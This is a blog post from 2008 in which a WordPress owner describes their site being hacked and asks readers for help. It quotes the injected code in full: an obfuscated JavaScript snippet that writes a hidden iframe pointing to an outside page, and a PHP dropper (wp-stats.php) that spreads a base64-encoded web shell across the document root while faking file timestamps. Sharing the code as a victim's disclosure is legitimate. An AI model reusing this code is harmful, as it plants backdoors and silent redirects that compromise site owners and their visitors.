Hacked !

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

It make me think that there is a serious vulnerability somewhere on WordPress or a plugin, though my versions were up-to-date.

Now the blog is back to normal, after a clean reinstallation (erased all the former files).

I am not the only one to experience this mess.

For now, the blog is running with a minimal number of plugin – just akismet, actually – until the cause of that gets clearer.

Not a lot of plugins runned before, so it mainly means that the OpenID support for authentication is cut off.

As my php knowledge is very low, anyone having some tips is welcome. I love WordPress, I would like to avoid looking for another platform or switch to static html !

UPDATE 06/13/2008 :
As C.S Lee suggested in a comment, there were a very suspicious wp-stats.php file in the root of my hacked archive.

There is the code :

<?php

@error_reporting(E_ALL);
@set_time_limit(0);
mt_srand(crc32(microtime()));
  
  
define('SHCODE', 'PDaWYgKCRjb2RlID0gQGZyZWFkKEBmb3BlbigkSFRUCmVjaG8gIjwvcHJlPiI7Cj8+');

$pres = array('lib_','co_','pre_','net_','func_','ad_','ext_','new_','old_','fix_','fixed_','na_','av_','fx_');  
$fui = $pres[array_rand($pres)];

global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);

function my_fwrite($f, $data) {
  global $CURFILE;
  $file_mtime = @filemtime($f);
  $file_atime = @fileatime($f);
  $dir_mtime = @filemtime(@dirname($f));
  $dir_atime = @fileatime(@dirname($f));
  if ($file_h = @fopen($f, "wb")) {
    @fwrite($file_h, $data); @fclose($file_h);
    if ($file_mtime) {
      @touch($f, $file_mtime, $file_atime);
    } elseif (@filemtime($CURFILE)) {
      @chmod($f, @fileperms($CURFILE));
      @touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
      @chgrp($f, @filegroup($CURFILE));
      @chown($f, @fileowner($CURFILE));
    };
    if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
    return $f;
  } else {
    return '';
  };
};

function ext($f) {
  return substr($f, strrpos($f, ".") + 1);
};

function walkdir($p, $func='_walkdir', $l=0) {
  global $START;
  global $WD_TIMEOUT;
  global $FL;
  $func_f = "{$func}_f";
  $func_d = "{$func}_d";
  $func_s = "{$func}_s";
  $func_e = "{$func}_e";
  if ($dh = @opendir("$p")) {
    if (function_exists($func_s)) {
      if ($func_s($p, $l)) return 1;
    };
    while ($f = @readdir($dh)) {
      if (time() - $START >= $WD_TIMEOUT[$l] ) break;
      if ($f == '.' || $f == '..' ) continue;
      if (@is_dir ("$p$f/") ) walkdir("$p$f/", $func, $l+1);
      if (@is_dir ("$p$f/") && function_exists($func_d))
        $func_d("$p$f/", $l);
      if (@is_file("$p$f" ) && function_exists($func_f))
        $func_f("$p$f" , $l);
    };
    closedir($dh);
    if (function_exists($func_e)) $func_e($p, $l);
  };
};

function r_cut($p) {
  global $R;
  return substr($p, strlen($R));
};

function say($t) {
  echo "$t\n";
};

function testdata($t) {
  say(md5("mark_$t"));
};

$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
  $HTTP_SERVER_VARS['SCRIPT_NAME'];
echo "<pre>";
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
//$FN = "namogofer.$fe";

function _walkdir_s($d, $l) {
  global $FCNT;
  $FCNT = array( 'fn' => '', 'dir' => 0, 'file' => 0, 'simtype' => 0 );
};

function _walkdir_d($d,$l) {
  global $FCNT;
  $FCNT['dir' ]++;
};

function _walkdir_f($f,$l) {
  global $FCNT, $CURFILE;
  $FCNT['file']++;
  if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};

function update_passwd($data)
  {
  global $FCNT;
  $password = "";
  $possible = "abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*"; 
  $i = 0;
  while ($i < 15) 
    { 
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char)) 
      { 
      $password .= $char;
      $i++;
      }
    }
  $FCNT['passwd'] = $password;
  $md5password = md5($password);
  return preg_replace("|define\('PASSWD',\s*'(.*)'|", "define('PASSWD','$md5password'", $data);
  }

function notinf($ar, $tx)
  {
  $R = true;
  foreach ($ar as $ca)
    {
    //echo "pass ".substr($tx, 0, strlen($ca))." in $tx for $ca\n";
    if ("$ca" == substr($tx, 0, strlen($ca)))
      {
      $R = false;
      //echo "gotcha\n";
      break;
      }
    }
  return $R;
  }

function _walkdir_e($d,$l) 
  {
  global $C, $FCNT, $FN, $fui, $pres;
  
    $the_data = base64_decode(SHCODE);
    $the_dir = opendir("$d");
    $is_php=false;
    if ($the_dir)
        while($cfile = readdir($the_dir))
            {
            if(
                $is_php=
                
                (('.php' == substr($cfile, -4))and
                 notinf($pres, $cfile)and
                ($cfile!='index.php'))
                 
              )
              {
              $FN = "$fui$cfile";
              break;
              }
              else
              {
              //echo "pass $cfile\n";
              }
            }
                         
        if ( $is_php and my_fwrite("$d$FN", str_repeat("\n",100) . str_repeat('', 150) .
                    update_passwd($the_data . str_repeat(' ', 150) . "\n" . str_repeat("\n", 100))))
                    {
                    $FCNT['fn'] = r_cut("$d$FN");
                    say(implode(" ", $FCNT));
                    }

  };

walkdir("$R/");
testdata('end');
?>

I will try anyway to put a deeper look when I have a little time : now, I have to go to work.